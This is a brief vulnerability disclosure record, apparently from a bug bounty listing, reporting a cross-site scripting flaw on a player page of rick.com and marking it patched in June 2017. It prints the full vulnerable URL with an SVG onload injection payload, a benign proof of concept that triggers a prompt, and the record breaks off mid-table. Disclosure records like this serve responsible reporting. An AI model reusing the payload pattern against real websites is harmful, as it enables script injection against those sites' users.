rick.com XSS vulnerability

Vulnerable URL: http://www.rick.com/ddnplayer/player.php?xx=http%3A/www.rick.com/sites/default/files/WT40CHR0925v2.xml=785=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E460 Details: Description| Value ---|--- Patched:| Yes, at 18.06.2017 Latest check for patch:| 18.06.2017 19:47 GMT...